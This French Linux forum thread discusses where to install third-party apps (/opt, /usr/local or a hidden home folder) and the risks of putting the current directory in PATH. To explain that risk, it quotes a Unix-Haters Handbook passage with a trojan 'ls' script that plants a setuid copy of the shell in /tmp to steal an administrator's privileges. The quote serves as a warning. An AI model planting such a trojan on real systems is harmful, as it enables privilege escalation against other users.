Bonjour, 
la question est dans le titre 
,
si je demande c’est parceque j’ai plein d’install de programme (des jeux pour la plupart) qui traînent dans mon home…
Je me demandais s’il n’existait un moyen plus “propre” pour installer toutes ces apps, j’ai deja essayé checkinstall mais certains installeur ne passent pas …
Merci pour vos réponses à venir
La question du message est un peu différente ce celle du titre…
export PATH="$PATH:/chemin/.bin:."
[Le PATH est une variable contenant la liste des répertoires où les exécutables se trouvent]
Celle du message: Comment installer ces programmes ?
Ça dépend comment le programme s’installe.
Pour les “programmes” que j’écris, je déplace les binaires dans mon répertoire.
Pour ceux que je compile, si le déplacement à la main des binaires est trop “compliqué”, je le laisse aller dans /usr/local, ou, selon la taille, modifie le prefix du chemin d’install à la configuration avant la compilation pour choisir un de mes dossiers et modifie le PATH en conséquence si besoin.
Je stocke les sources dans un autre répertoire, sur une autre partition.
Attention en donnant ce genre de tuyau, tout le monde ne connaît pas forcément les implications de sécurité liées à cette pratique (il y a de bonnes raisons pour lesquelles les *nix ne mettent pas le répertoire courant dans le PATH) même si je suis certain que toi tu les connais déjà.
Pour résumer simplement : avec le répertoire courant dans le PATH il est très facile d’amener un utilisateur à exécuter un script malicieux sans qu’il s’en rende compte.
Tant que le répertoire courant est à la fin du PATH comme ici, ça va encore même si ce n’est pas aussi strict que la configuration par défaut. Par contre l’erreur à ne pas faire serait de mettre le répertoire courant au début du PATH, ça permettrait de créer des scripts malicieux nommés comme des commandes système (ls par exemple…) qui seraient exécutés à la place de la commande d’origine !
Bref, rajouter le répertoire courant dans le PATH c’est un compromis entre sécurité et aisance d’utilisation, et comme tous les compromis il vaut mieux avertir clairement les lecteurs de tes messages juste au cas où ils n’auraient pas déjà conscience de ce qu’ils ont à gagner et à perdre. 
Mon humble avis là-dessus c’est que ./ c’est pas la mort à taper, et comme ça n’arrive pas si souvent que ça il vaut mieux laisser la configuration d’origine qui est la plus sécurisée.
/opt , /usr/local, $HOME/test …
$PATH=.: $PWD ACHTUNG !
Un extrait du “Unix-haters handbook”, le guide des détesteurs d’Unix. On y trouve quelques informations exploitables malgré son ancienneté et sa mauvaise foi flagrante.
en.wikipedia.org/wiki/The_Unix-Haters_Handbook
Lien au bas de la page Wikipedia, pdf téléchargeable (3,5 Mo)
simson.net/ref/ugh.pdf
Page 285
[quote]
The Problem with PATH
Unix has to locate the executable image that corresponds to a given com-
mand name. To find the executable, Unix consults the user’s PATH vari-
able for a list of directories to search. For example, if your PATH
environment is :/bin:/usr/bin:/etc:/usr/local/bin:, then, when you type
snarf, Unix will automatically search through the /bin, /usr/bin, /etc, and /
usr/local/bin directories, in that order, for a program snarf.
So far, so good. However, PATH variables such as this are a common
disaster:
PATH=:.:/bin:/usr/bin:/usr/local/bin:
Having “.”—the current directory—as the first element instructs Unix to
search the current directory for commands before searching /bin. Doing so
is an incredible convenience when developing new programs. It is also a
powerful technique for cracking security by leaving traps for other users.
Suppose you are a student at a nasty university that won’t let you have
superuser privileges. Just create a file1 called ls in your home directory that
contains:
#!/bin/sh
/bin/cp /bin/sh /tmp/.sh1
/etc/chmod 4755 /tmp/.sh1
/bin/rm $0
exec /bin/ls $1 $2 $3 $
Start a shell.
Copy the shell program
to /tmp.
Give it the privileges of
the person invoking the
ls command.
Remove this script.
Run the real ls.
Now, go to your system administrator and tell him that you are having dif-
ficulty finding a particular file in your home directory. If your system oper-
ator is brain-dead, he will type the following two lines on his terminal:
% cd
% ls
Now you’ve got him, and he doesn’t even know it. When he typed ls, the ls
program run isn’t /bin/ls, but the specially created ls program in your home
directory. This version of ls puts a SUID shell program in the /tmp direc-
tory that inherits all of the administrator’s privileges when it runs.[/quote]
Merci pour vos reponses 
j’ai en effet mal formulé ma question : le problème n’est pas l’installation mais l’emplacement que je devrais choisir pour ces apps, pour l’instant j’installe tout dans mon home, je ne modifie pas le $PATH, j’utilise la plupart du temps les .desktop généré par l’installeur ou je lance en entrant le chemin complet…
Pour résumer ma question vaut-il mieux d’installer ses apps dans usr/local/ , /opt ou un dossier caché dans mon home ?
Sous Windows aussi il y a une variable PATH non ? je ne suis pas sur que l’on puisse aussi rajouter le repertoire courant mais si c’est le cas ils devront changer le titre de leurs guide
/opt ou /usr/local seront accessibles à tous les utilisateurs ($USERS untel, unetelle et tartempion) alors que /home/tartempion/bin n’offre de facilités qu’à tartempion. Selon les droits affectés, unetelle et untel voient l’accès rendu difficile voire interdit.
L’avantage de le placer en $HOME/.caché serait d’en restreindre l’accès.
[quote=“r3iv4x”]si je demande c’est parceque j’ai plein d’install de programme (des jeux pour la plupart) qui traînent dans mon home…
Je me demandais s’il n’existait un moyen plus “propre” pour installer toutes ces apps, j’ai deja essayé checkinstall mais certains installeur ne passent pas …[/quote]
Si on suppose que la plupart (voire tous) de tes applications sont libres, et que tu les compiles toi-même (avec make disons), pourquoi ne pas les installer avec le make install ? Enfin je demande ça mais en fait je doute, moi aussi.
Je me dis que la choix par défaut de make install est bon au moins dans la plupart des cas, mais est-ce vraiment propre dans tous les cas ?
Sinon pour mes propres « programmes », je me faisais vraiment pas chier, ça allait dans $HOME tout simplement. 
C’était juste pour expliquer la ligne du ~/.profile
Mais j’aurais dû dire que c’était déconseillé (ça fait toujours une barrière en plus).
En effet, c’est rapide à taper surtout lorsqu’on prend l’habitude. Il m’arrive souvent de taper ./ alors que ce n’est pas nécessaire, il m’arrive aussi de l’oublier.
Comme je programme, je devrais taper le ./ 5-10 fois par jour (après j’utilise l’historique des commandes)
HS: Dans mon .profile, il y a même des alias de make lorsqu’on tape mak ou make7 (sur mon clavier de portable, la touche entrée est collé à la touche 7 du pavé numérique) et ça m’a déjà servi \o/
Perso tout ce qui est programme tiers non-installé via apt part dans /opt et je crée un lien symbolique si j’en ai besoin souvent dans /usr/bin
Je crée parfois un ficher .desktop dans /usr/applications quand je souhaite voir le programme dans mon menu.
Sinon je crée aussi un petit script en bash pour lancer les applis en python par exemple.
Comme ça a déjà été dit plus haut, il faut commencer par se demander ce que l’on cherche au niveau sécurité.
Si le prog doit rester confidentiel :
~/.bin/le_prog
avec les droits qui vont bien
Si le prog peut être executé et vu par tous :
/usr/local/bin/le_prog
Merci tout le monde pour vos réponses
Donc après réflexion je vais créer un dossier caché dans mon home et balancer tout ça la dedans comme ça j’aurais l’impression d’avoir un home propre